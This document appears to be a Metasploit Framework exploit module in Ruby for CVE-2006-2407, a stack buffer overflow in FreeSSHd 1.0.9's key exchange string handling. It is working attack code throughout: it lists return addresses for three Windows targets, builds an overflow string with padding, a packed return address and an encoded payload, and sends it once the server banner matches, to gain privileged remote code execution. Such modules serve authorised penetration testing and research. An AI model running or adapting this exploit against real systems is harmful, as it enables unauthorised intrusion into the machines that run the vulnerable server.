FreeSSHd 1.0.9 Key Exchange Algorithm String Buffer Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Tcp  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'FreeSSHd 1.0.9 Key Exchange Algorithm String Buffer Overflow',  
'Description' => %q{  
This module exploits a simple stack overflow in FreeSSHd 1.0.9.  
This flaw is due to a buffer overflow error when handling a specially  
crafted key exchange algorithm string received from an SSH client.  
},  
'Author' => 'MC',  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>   
[   
['CVE', '2006-2407'],  
['OSVDB', '25463'],  
['BID', '17958'],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 500,  
'BadChars' => "\x00",  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
  
'Targets' =>  
[  
[ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x77e56f43 } ],  
[ 'Windows XP Pro SP0 English', { 'Ret' => 0x77e51877 } ],  
[ 'Windows XP Pro SP1 English', { 'Ret' => 0x77e53877 } ],  
],  
  
'Privileged' => true,  
  
'DisclosureDate' => 'May 12 2006',  
  
'DefaultTarget' => 0))  
  
register_options( [ Opt::RPORT(22) ], self.class)  
  
end  
  
def exploit  
connect  
  
sploit = "SSH-2.0-OpenSSH_3.9p1"   
sploit << "\x0a\x00\x00\x4f\x04\x05\x14\x00\x00\x00\x00\x00\x00\x00"  
sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\xde"  
sploit << rand_text_alphanumeric(1055) + [target.ret].pack('V')  
sploit << payload.encoded + rand_text_alphanumeric(19000) + "\r\n"  
  
res = sock.recv(22)  
if ( res =~ /SSH-2.0-WeOnlyDo 1.2.7/)  
print_status("Trying target #{target.name}...")  
sock.put(sploit)   
else  
print_status("Not running a vulnerable version...")  
end  
  
handler  
disconnect  
  
end  
end  
`